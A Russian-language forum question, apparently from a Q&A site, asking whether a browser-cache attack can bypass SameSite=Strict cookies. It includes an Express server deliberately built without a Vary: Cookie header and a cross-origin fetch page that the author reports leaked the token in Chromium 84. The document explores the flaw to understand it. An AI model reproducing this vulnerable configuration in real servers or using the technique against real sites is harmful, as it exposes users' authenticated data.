Схема атаки: Атакованный сайт отправляет запрос с помощью файлов cookie (но без Vary: Cookie
HTTP-заголовка), браузер кеширует ответ, атакующий сайт выполняет тот же запрос (но без файлов cookie, потому что директива SameSite=Strict
в Set-Cookie
был использован) и получает доступ к кешированному ответу. Я, должно быть, что-то пропустил, или это могло сработать?
Обновление: я провел несколько экспериментов:
Express сервер:
const express = require('express')
const app = express()
const port = 3000
app.get('/token', (req, res) => {
let secret = "No access";
if (req.headers['cookie'] && req.headers['cookie'].includes('token=1234')) {
secret = '1234';
}
res.set({
'Set-Cookie': 'token=1234; Path=/; Max-Age=2592000; HttpOnly; SameSite=Strict',
'Access-Control-Allow-Origin': '*',
'Content-Type': 'text/plain',
'ETag': secret,
// 'Vary': 'Cookie',
'Cache-Control': 'max-age=1000',
});
res.send(secret);
})
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
})
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
Атакованный и атакующий index.html
:
<!DOCTYPE html>
<html>
<body>
<div></div>
<script>
fetch('http://localhost:3000/token').then(function(response) {
return response.text();
}).then(function(text) {
document.querySelector('div').textContent = text;
});
</script>
</body>
</html>
localhost:3000
как и ожидалось, показывает мне токен (после второй загрузки, конечно). Чтобы создать злоумышленника, я загрузил HTML в https://jsfiddle.net/3xaoe4zf/. И это работает в Chromium 84! (т.е. jsfiddle показывает токен), но его нет в Firefox 78. Кто-нибудь может объяснить эту разницу?